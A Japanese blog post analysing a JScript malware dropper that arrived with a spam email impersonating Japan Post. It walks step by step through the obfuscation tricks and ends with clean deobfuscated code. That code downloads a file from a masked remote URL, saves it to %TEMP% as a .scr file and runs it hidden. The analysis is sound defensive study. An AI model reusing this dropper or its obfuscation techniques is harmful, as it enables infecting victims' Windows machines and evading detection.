メールに添付されてきたマルウェアの動作解析

#<i class="fa fa-file-text-o"></i> はしがき

先日，メールボックスに飛び込んできた日本郵政を騙るSPAMメールに怪しいZipアーカイブが添付されてまして。アーカイブの中身を見てみると，妙な名前の **JavaScript** ファイル（調べてみると正確には **JScript** ファイルだった模様）が１つだけポツンと入ってました。

下手に動作しないように拡張子を `.txt` に変えてエディタで開いてみたところ，量的には大したことはないものの，色々と難読化されていてぱっと見では何をしようとしているのかよくわかりません。

てなわけで，ふと気が向いてこのスクリプトが何をしているのか探ってみることにしました。

_補足：私自身は **JavaScript**（**JScript**）に精通しているとはとても言えませんので，理解のおかしなところがあると思います。詳しい方のツッコミをお待ちします。_

_補足２：各ソースは横に長いので行末をみるにはスクロールさせてください。_

```js:届いたブツ（マルウェア本体のURLはマスク済）
arenaAnonymous = String.prototype.evolutionBusiness.call();
    amortizationAnonymous = ( "R\u0075\u006e");
    autonomousManager = arenaAnonymous[("p" + "\u0072iv\u0061" + "t" + "e", "\u0067a\u006d" + "e", "a" + "s\u0073" + "\u006fcia" + "t\u0069on",  "\u0057\u0053c\u0072" + "i\u0070\u0074")];
    dollarList = autonomousManager[("e" + "x\u0070o" + "\u0072\u0074",  "\u0043\u0072e\u0061\u0074\u0065" + "\u004fbj\u0065" + "ct")](("bo" + "xin\u0067", "log" + "i\u0063", "\u0070a\u0073te", "\u0061rm" + "y",  "\u0057\u0053\u0063r\u0069p" + "\u0074.\u0053hel" + "l"));
    authorityExtract = dollarList[("\u0069" + "ns" + "p\u0065ct" + "\u006fr", "a\u0063" + "ous" + "t\u0069c", "h\u0075m\u0061" + "n\u0065",  "E\u0078p\u0061\u006e" + "\u0064\u0045n" + "\u0076\u0069\u0072" + "\u006fnmen" + "\u0074\u0053\u0074rin" + "gs")](("pu" + "l\u0073e", "\u0062o" + "s\u0073",  "%\u0054EM" + "\u0050%\u002f")) + ("ya\u0072" + "d", "co" + "mbi" + "\u006ee", "\u0072egi" + "\u0073" + "\u0074r\u0079",  "au" + "to\u006d\u006f" + "\u0062" + "i\u006c" + "\u0065A" + "t" + "\u0074ri\u0062" + "\u0075\u0074" + "e") + ("\u0073es" + "s\u0069on",  "\u002esc\u0072");
    licenceAttraction = arenaAnonymous[("s\u0065r" + "i\u006f\u0075\u0073", "\u0073" + "\u0075" + "\u0066fix", "t\u0072" + "il" + "\u006f" + "\u0067y",  "WScr" + "i\u0070t")][( "C" + "\u0072eat" + "eO\u0062\u006a" + "e\u0063t")](("\u006d\u0061\u0067a\u007a\u0069" + "n\u0065", "\u0064e\u0067\u0072" + "a\u0064\u0061\u0074\u0069o" + "\u006e", "\u0073tory",  "MS" + "\u0058\u004dL2\u002e" + "\u0058M\u004c" + "H\u0054\u0054" + "\u0050"));
    licenceAttraction[("\u0072\u0065\u0063" + "\u006fm\u006de\u006e" + "d", "\u0063\u0068" + "a\u006f\u0073",  "\u006fp\u0065n")](( "\u0047\u0045" + "T"), ("p\u0061r" + "i\u0074" + "y", "\u0061u\u0063" + "t\u0069\u006f\u006e", "a" + "\u0069r\u0070\u006c\u0061" + "\u006ee", "\u0072\u0065" + "\u0066o\u0072" + "m",  "\u0068\u0074\u0074p\u003a" + "\u002f\u002f*" + "\u002a*\u002a" + "*\u002fsy" + "\u0073\u0074\u0065m\u002f\u0063" + "ach" + "\u0065\u002f111"), !(((((([!+[]+!+[]]*[!+[]+!+[]+!+[]]+(30,1))*([!+[]+!+[]]))+(([!+[]+!+[]]*[!+[]+!+[]+!+[]]-1)*([!+[]+!+[]]*[!+[]+!+[]+!+[]]+1)))+(((15-12)*(42^104)+(1^0))-((242/11)*(4&7)+(3^7))))/((([!+[]+!+[]+!+[]])*([!+[]+!+[]+!+[]]))+(((47&59)-(31^57))+((223,60)-(([!+[]+!+[]])*([!+[]+!+[]])*([!+[]+!+[]])*([!+[]+!+[]])*([!+[]+!+[]+!+[]])))))) == 6));
    licenceAttraction[( "\u0073\u0065nd")]();
    while (licenceAttraction[("occ" + "u" + "py", function String.prototype.evolutionBusiness() {return this},  "\u0072e" + "adys" + "t\u0061\u0074\u0065")] < ((2*2)&(182/26))) {
        arenaAnonymous[( "\u0057S" + "\u0063r\u0069\u0070t")][( "\u0053le\u0065" + "p")](((332/2)-(66)));
    }
    candidatePolar = arenaAnonymous[("r\u0065po\u0072" + "\u0074", "\u0065s\u0073ay", "\u0069mp" + "ort", "r\u0065g\u0065\u006et",  "W\u0053\u0063ri" + "pt")][( "C\u0072e" + "a\u0074" + "e\u004f\u0062" + "\u006a" + "ec" + "\u0074")](("\u0076ac" + "\u0061n\u0074", "\u0073\u0075\u0070e" + "rman",  "\u0041" + "DOD\u0042.S" + "t\u0072\u0065" + "\u0061m"));
    try {
        candidatePolar[("shu" + "nt", "\u0063\u0068a\u006f" + "s", "\u006d\u0065\u006d\u0062r" + "a\u006ee",  "\u006f\u0070" + "\u0065n")]();
        candidatePolar[("\u0070o\u0074\u0065" + "\u006e\u0074\u0069\u0061l", "hu" + "mane", "\u0076a" + "\u0063a" + "nt", "\u0073\u0079" + "\u006db" + "o\u006c",  "typ" + "\u0065")] = (1|1);
        candidatePolar[("\u0064i\u0072ec" + "t\u0069ve", "b\u0061\u006ed",  "w" + "\u0072i\u0074e")](licenceAttraction[("\u006c\u0065" + "\u0074h\u0061\u006c", "e\u006e\u0063y\u0063" + "\u006co\u0070\u0065d" + "i\u0061",  "\u0052\u0065\u0073p" + "o\u006ese\u0042" + "\u006f\u0064\u0079")]);
        candidatePolar[("opp" + "o\u0073it" + "io\u006e", "\u0067" + "\u0072\u006f\u0075\u0070", "c\u0061\u0062\u0069\u006ee" + "\u0074", "\u0064\u0069\u0061" + "gra" + "m",  "p\u006f" + "sit" + "\u0069on")] = ((1&0)+0);
        candidatePolar[("\u0064" + "\u0075st", "\u0061pp\u0065" + "al", "\u0069\u006c\u006cu\u0073" + "io\u006e", "\u0066\u0061c\u0061\u0064" + "e",  "s\u0061v" + "\u0065" + "T" + "\u006fFi\u006c" + "e")](authorityExtract, ((([+!+[]]))^(1*3)));
        candidatePolar[("\u0069d\u0065\u0061",  "\u0063\u006c" + "os\u0065")]();
        dollarList[amortizationAnonymous](authorityExtract.evolutionBusiness(), ((6-6)^0), ((0&0)/(13*2+8)));
    } catch (tickInstructor) {};
  
```

#<i class="fa fa-file-text-o"></i> やったこと

##<i class="fa fa-circle-o"></i> 文字列の整理

まず目につくのが文字列中に「`\u` に続いて16進４桁」というフォーマットが散見される点です。これはユニコード文字をコードポイントで指定しているものです。これは単純に対応する文字に置き換える（`\u0061` → `a`）ことができます。

また，文字列が `+` で連結されている箇所も多くありますので，これらを正規化すると，とりあえず **JavaScript**（**JScript**）のソースに見えるようにはなります。

```js:List-1
arenaAnonymous = String.prototype.evolutionBusiness.call();
amortizationAnonymous = ("Run");
autonomousManager = arenaAnonymous[("private", "game", "association", "WScript")];
dollarList = autonomousManager[("export", "CreateObject")](("boxing", "logic", "paste", "army", "WScript.Shell"));
authorityExtract = dollarList[("inspector", "acoustic", "humane", "ExpandEnvironmentStrings")](("pulse", "boss", "%TEMP%/")) + ("yard", "combine", "registry", "automobileAttribute") + ("session", ".scr");
licenceAttraction = arenaAnonymous[("serious", "suffix", "trilogy", "WScript")][("CreateObject")](("magazine", "degradation", "story", "MSXML2.XMLHTTP"));
licenceAttraction[("recommend", "chaos", "open")](("GET"), ("parity", "auction", "airplane", "reform", "http://*****/system/cache/111"), !(((((([!+[]+!+[]]*[!+[]+!+[]+!+[]]+(30,1))*([!+[]+!+[]]))+(([!+[]+!+[]]*[!+[]+!+[]+!+[]]-1)*([!+[]+!+[]]*[!+[]+!+[]+!+[]]+1)))+(((15-12)*(42^104)+(1^0))-((242/11)*(4&7)+(3^7))))/((([!+[]+!+[]+!+[]])*([!+[]+!+[]+!+[]]))+(((47&59)-(31^57))+((223,60)-(([!+[]+!+[]])*([!+[]+!+[]])*([!+[]+!+[]])*([!+[]+!+[]])*([!+[]+!+[]+!+[]])))))) == 6));
licenceAttraction[("send")]();
while (licenceAttraction[("occupy", function String.prototype.evolutionBusiness() {return this}, "readystate")] < ((2*2)&(182/26))) {
  arenaAnonymous[("WScript")][("Sleep")](((332/2)-(66)));
}
candidatePolar = arenaAnonymous[("report", "essay", "import", "regent", "WScript")][("CreateObject")](("vacant", "superman", "ADODB.Stream"));
try {
  candidatePolar[("shunt", "chaos", "membrane", "open")]();
  candidatePolar[("potential", "humane", "vacant", "symbol", "type")] = (1|1);
  candidatePolar[("directive", "band", "write")](licenceAttraction[("lethal", "encyclopedia", "ResponseBody")]);
  candidatePolar[("opposition", "group", "cabinet", "diagram", "position")] = ((1&0)+0);
  candidatePolar[("dust", "appeal", "illusion", "facade", "saveToFile")](authorityExtract, ((([+!+[]]))^(1*3)));
  candidatePolar[("idea", "close")]();
  dollarList[amortizationAnonymous](authorityExtract.evolutionBusiness(), ((6-6)^0), ((0&0)/(13*2+8)));
} catch (tickInstructor) {};
```

##<i class="fa fa-circle-o"></i> カンマ演算子の整理

次に見ていくのは `("private", "game", "association", "WScript")` のように，カッコの中に文字列が `,` 区切りで複数並んでいる箇所です。

`Ruby` なんかをいじってた関係で，ぱっと見では配列かリストだったりするのか，もしくは関数呼び出しの引数リストだったりするのかな，と思ってしまいましたが，調べてみると **JavaScript**（**JScript**）の `,` って両辺の式を評価して右辺の値を返すという動作の[カンマ演算子](https://developer.mozilla.org/ja/docs/Web/JavaScript/Reference/Operators/Comma_Operator)なんですね。

ということは，上記のような例の場合，`"private"`，`"game"`，`"association"`は全てダミーで，最後の `"WScript"`だけが有効な値だということになります。

それを踏まえてソースを書き換えるとこんな感じになりました。
ここまでくると，なんとなく何がしたいのかは想像できる気がします。

```js:List-2
arenaAnonymous = String.prototype.evolutionBusiness.call();
amortizationAnonymous = "Run";
autonomousManager = arenaAnonymous["WScript"];
dollarList = autonomousManager["CreateObject"]("WScript.Shell");
authorityExtract = dollarList["ExpandEnvironmentStrings"]("%TEMP%/") + "automobileAttribute.scr";
licenceAttraction = arenaAnonymous["WScript"]["CreateObject"]("MSXML2.XMLHTTP");
licenceAttraction["open"]("GET", "http://*****/system/cache/111", !(((((([!+[]+!+[]]*[!+[]+!+[]+!+[]]+(30,1))*([!+[]+!+[]]))+(([!+[]+!+[]]*[!+[]+!+[]+!+[]]-1)*([!+[]+!+[]]*[!+[]+!+[]+!+[]]+1)))+(((15-12)*(42^104)+(1^0))-((242/11)*(4&7)+(3^7))))/((([!+[]+!+[]+!+[]])*([!+[]+!+[]+!+[]]))+(((47&59)-(31^57))+((223,60)-(([!+[]+!+[]])*([!+[]+!+[]])*([!+[]+!+[]])*([!+[]+!+[]])*([!+[]+!+[]+!+[]])))))) == 6));
licenceAttraction["send"]();
while (licenceAttraction["readystate"] < ((2*2)&(182/26))) {
  arenaAnonymous["WScript"]["Sleep"](((332/2)-(66)));
}
candidatePolar = arenaAnonymous["WScript"]["CreateObject"]("ADODB.Stream");
try {
  candidatePolar["open"]();
  candidatePolar["type"] = (1|1);
  candidatePolar["write"](licenceAttraction["ResponseBody"]);
  candidatePolar["position"] = ((1&0)+0);
  candidatePolar["saveToFile"](authorityExtract, ((([+!+[]]))^(1*3)));
  candidatePolar["close"]();
  dollarList[amortizationAnonymous](authorityExtract.evolutionBusiness(), ((6-6)^0), ((0&0)/(13*2+8)));
} catch (tickInstructor) {};
```

##<i class="fa fa-circle-o"></i> ブラケット記法（メンバー演算子）の整理

続いて目につくのが `変数名["文字列"]` というフォーマットです。

これまた **Ruby** なんかの感覚だと，文字列がキーのハッシュのように見えてしまうのですが，**JavaScript**（**JScript**）ではオブジェクト名に続く `[]` はオブジェクトが標準的に持っている[メンバ演算子](https://developer.mozilla.org/ja/docs/Web/JavaScript/Reference/Operators/Property_Accessors)だそうで，文字列でメンバ名を指定するとそのメンバを返してくれるそうです。

つまり，`licenceAttraction["send"]()` は `licenceAttraction.send()` と置き換えることができるはず。

また，`dollarList[amortizationAnonymous]` も `amortizationAnonymous = "Run";` なので `dollarList.Run` になります。

その辺を踏まえてコードを書き換えるとこんな感じになりました。だいぶプログラムっぽくなってきましたね。

```js:List-3
arenaAnonymous = String.prototype.evolutionBusiness.call();
autonomousManager = arenaAnonymous.WScript;
dollarList = autonomousManager.CreateObject("WScript.Shell");
authorityExtract = dollarList.ExpandEnvironmentStrings("%TEMP%/") + "automobileAttribute.scr";
licenceAttraction = arenaAnonymous.WScript.CreateObject("MSXML2.XMLHTTP");
licenceAttraction.open("GET", "http://*****/system/cache/111", !(((((([!+[]+!+[]]*[!+[]+!+[]+!+[]]+(30,1))*([!+[]+!+[]]))+(([!+[]+!+[]]*[!+[]+!+[]+!+[]]-1)*([!+[]+!+[]]*[!+[]+!+[]+!+[]]+1)))+(((15-12)*(42^104)+(1^0))-((242/11)*(4&7)+(3^7))))/((([!+[]+!+[]+!+[]])*([!+[]+!+[]+!+[]]))+(((47&59)-(31^57))+((223,60)-(([!+[]+!+[]])*([!+[]+!+[]])*([!+[]+!+[]])*([!+[]+!+[]])*([!+[]+!+[]+!+[]])))))) == 6));
licenceAttraction.send();
while (licenceAttraction.readystate < ((2*2)&(182/26))) {
  arenaAnonymous.WScript.Sleep(((332/2)-(66)));
}
candidatePolar = arenaAnonymous.WScript.CreateObject("ADODB.Stream");
try {
  candidatePolar.open();
  candidatePolar.type = (1|1);
  candidatePolar.write(licenceAttraction.ResponseBody);
  candidatePolar.position = ((1&0)+0);
  candidatePolar.saveToFile(authorityExtract, ((([+!+[]]))^(1*3)));
  candidatePolar.close();
  dollarList.Run(authorityExtract.evolutionBusiness(), ((6-6)^0), ((0&0)/(13*2+8)));
} catch (tickInstructor) {};
```

##<i class="fa fa-circle-o"></i> オブジェクトの整理

List-3の１行目にあるオブジェクト `arenaAnonymous` の定義はこんな感じ。

```js
arenaAnonymous = String.prototype.evolutionBusiness.call();
```

`.call` は `Function.prototype` に定義されていて，レシーバの関数を呼ぶだけの動きですので，要は`String.prototype.evolutionBusiness`を呼んでいるわけですが，`String.prototype` には `.evolutionBusiness` などという関数は標準では定義されていません。

？？？と思ってList-1をもう一度見返してみると，真ん中あたりに登場する `while` 文の条件式，`licenceAttraction` のメンバ演算子に与えられた，カンマ演算子の並びの中の２番目の要素に，こっそり `function String.prototype.evolutionBusiness() {return this}` と関数定義が紛れ込んでいました。

**JavaScript**（**JScript**）では，同じファイル内であれば関数の呼び出しより後に関数定義が書いてあっても構わない，とは聞いていましたが，よもや `while` 文の条件式の中にあっても大丈夫だとは驚きです。

結果，`String.prototype.evolutionBusiness.call()` は `this` を返すことになるのですが，**JavaScript**（**JScript**）の `this` って状況によって状態が色々でややこしい。
おそらくですが，特定のオブジェクトのメソッドとして呼ばれたわけではなく，グローバルスコープ中で関数的に呼ばれたことで，ここでの `this` はグローバルオブジェクトなのではないかと。だとすると，`arenaAnonymous` は省略できてしまいますね。
一方で，`authorityExtract.evolutionBusiness()`の場合，`.evolutionBusiness()` はオブジェクト `authorityExtract` のメソッドとして呼ばれているため，この時返ってくる `this` はおそらく `authorityExtract` 自身ではないかと。（`.evolutionBusiness()`が呼べる以上，必然的に`authorityExtract`は文字列型ということになります）

さらに，List-3の２行目で定義されている `autonomousManager = arenaAnonymous.WScript;` は `arenaAnonymous` が省略できると `WScript` そのものになりますんで，その辺を考慮した上で，コードを修正するとこんな感じ。

```js:List-4
dollarList = WScript.CreateObject("WScript.Shell");
authorityExtract = dollarList.ExpandEnvironmentStrings("%TEMP%/") + "automobileAttribute.scr";
licenceAttraction = WScript.CreateObject("MSXML2.XMLHTTP");
licenceAttraction.open("GET", "http://*****/system/cache/111", !(((((([!+[]+!+[]]*[!+[]+!+[]+!+[]]+(30,1))*([!+[]+!+[]]))+(([!+[]+!+[]]*[!+[]+!+[]+!+[]]-1)*([!+[]+!+[]]*[!+[]+!+[]+!+[]]+1)))+(((15-12)*(42^104)+(1^0))-((242/11)*(4&7)+(3^7))))/((([!+[]+!+[]+!+[]])*([!+[]+!+[]+!+[]]))+(((47&59)-(31^57))+((223,60)-(([!+[]+!+[]])*([!+[]+!+[]])*([!+[]+!+[]])*([!+[]+!+[]])*([!+[]+!+[]+!+[]])))))) == 6));
licenceAttraction.send();
while (licenceAttraction.readystate < ((2*2)&(182/26))) {
  WScript.Sleep(((332/2)-(66)));
}
candidatePolar = WScript.CreateObject("ADODB.Stream");
try {
  candidatePolar.open();
  candidatePolar.type = (1|1);
  candidatePolar.write(licenceAttraction.ResponseBody);
  candidatePolar.position = ((1&0)+0);
  candidatePolar.saveToFile(authorityExtract, ((([+!+[]]))^(1*3)));
  candidatePolar.close();
  dollarList.Run(authorityExtract, ((6-6)^0), ((0&0)/(13*2+8)));
} catch (tickInstructor) {};
```

##<i class="fa fa-circle-o"></i> 引数の整理

難読化のためか，数値やブール値の引数にわざわざ無駄な計算をさせている部分が見受けられますので，それらを計算後の値に置き換えます。

最初に出てくるのは `licenceAttraction.open` の第三引数 `!(((((([!+[]+!+[]]*[!+[]+!+[]+!+[]]+(30,1))*([!+[]+!+[]]))+(([!+[]+!+[]]*[!+[]+!+[]+!+[]]-1)*([!+[]+!+[]]*[!+[]+!+[]+!+[]]+1)))+(((15-12)*(42^104)+(1^0))-((242/11)*(4&7)+(3^7))))/((([!+[]+!+[]+!+[]])*([!+[]+!+[]+!+[]]))+(((47&59)-(31^57))+((223,60)-(([!+[]+!+[]])*([!+[]+!+[]])*([!+[]+!+[]])*([!+[]+!+[]])*([!+[]+!+[]+!+[]])))))) == 6`。
やたらと長い式ですが，要するに `!(何かの式) == 6` という形ですので左辺はブール値になります。ブール値は暗黙の数値変換では `0` か `1` にしかなりませんので，`6` との等価演算は，左辺の `!(...)` の中身が何であろうと常に `false` になります。

次は `while` の条件式に出てくる `(2*2)&(182/26)` ですが，これは `4&7` なのでビット演算でANDを取れば結果は `4`。

その次の行の `(332/2)-(66)` に至っては普通に四則演算するだけで `100`。`1|1` はやはりビット演算でORを取って `1`。`(1&0)+0` は `1&0` が `0` なので `0+0` で結局 `0`。

とここまでは比較的順当に来たのですが，その次に出てくる `(([+!+[]]))^(1*3)` はちょっと厄介でした。XOR演算子（`^`）の右辺は普通に `3` なのですが問題は左辺側。
単項加算演算子（`+`）は右辺を暗黙的に数値に変換するのですが，空配列（`[]`）の場合は数値の `0` に変換されるようで，この時点で `([+!0])^3`。
論理否定演算子（`!`）は，右辺の式が truthy であれば `false`，falsy であれば `true`を返します。数値の `0` は falsy なので，ここまでで `([+true])^3`。
先ほどの例と同じく単項加算演算子（`+`）によって `true` が数値の `1` に暗黙変換されて `[1]^3`。
で，暗黙的に数値としてみなせる要素を１つだけ含む配列は，その要素の数値に暗黙変換されるようでXOR演算子（`^`）によって `[1]` は `1` になって `1^3` のXORを取ると最終的には `2` になりました。

残りは大したことはなく，`(6-6)^0` は `0^0` で `0`。`(0&0)/(13*2+8)` は `0/34` でやはり `0`。

```js:List-5
dollarList = WScript.CreateObject("WScript.Shell");
authorityExtract = dollarList.ExpandEnvironmentStrings("%TEMP%/") + "automobileAttribute.scr";
licenceAttraction = WScript.CreateObject("MSXML2.XMLHTTP");
licenceAttraction.open("GET", "http://*****/system/cache/111", false);
licenceAttraction.send();
while (licenceAttraction.readystate < 4) {
  WScript.Sleep(100);
}
candidatePolar = WScript.CreateObject("ADODB.Stream");
try {
  candidatePolar.open();
  candidatePolar.type = 1;
  candidatePolar.write(licenceAttraction.ResponseBody);
  candidatePolar.position = 0;
  candidatePolar.saveToFile(authorityExtract, 2);
  candidatePolar.close();
  dollarList.Run(authorityExtract, 0, 0);
} catch (tickInstructor) {};
```

##<i class="fa fa-circle-o"></i> 変数名の整理

これは特に必要ないかもしれませんが，なんとなく変数名がオブジェクトと無関係すぎて読みにくかったので，最後にある程度オブジェクトに沿った変数名に変更。

最終的にこのスクリプトは以下のような機能を持っていることがわかりました。

1. 所定のURL（`http://*****/system/cache/111`）から実行ファイルをダウンロードする
2. ダウンロードした実行ファイルを，環境変数`TEMP` で指定されたフォルダ（`C:\TEMP\`など）の配下に `automobileAttribute.scr` という名前で保存する
3. `automobileAttribute.scr` を実行する

実際に行われる感染行動はダウンロードする実行ファイル次第ですが，WSHの機能（`WScript`）を利用しているためターゲットはWindows限定，といったトコロでしょうか。

```js:List-6
ws_shell = WScript.CreateObject("WScript.Shell");
exec_file_name = ws_shell.ExpandEnvironmentStrings("%TEMP%/") + "automobileAttribute.scr");
http = WScript.CreateObject("MSXML2.XMLHTTP");
http.open("GET", "http://*****/system/cache/111", false);
http.send();
while (http.readystate < 4) {
  WScript.Sleep(100);
}
stream_io = WScript.CreateObject("ADODB.Stream");
try {
  stream_io.open();
  stream_io.type = 1;
  stream_io.write(http.ResponseBody);
  stream_io.position = 0;
  stream_io.saveToFile(exec_file_name, 2);
  stream_io.close();
  ws_shell.Run(exec_file_name, 0, 0);
} catch (tickInstructor) {};
```

#<i class="fa fa-file-text-o"></i> あとがき

ちょっとした興味で始めたマルウェア解析でしたが，途中はちょっとしたパズルを解いてる感覚で楽しかったです。

解析を終えてみると，カンマ演算子やメンバ演算子など，他の言語をかじっていると返って本来の機能を見誤りそうな**JavaScript**（**JScript**）独特の文法や，暗黙の型変換を駆使した数値計算など，難読化にかけるマルウェア製作者の知識と発想に正直圧倒された感じです。

`eval`なしでもココまでできるんですね。

ただ，そのスキルがマルウェア開発という方向に使われてしまったことが残念でなりません。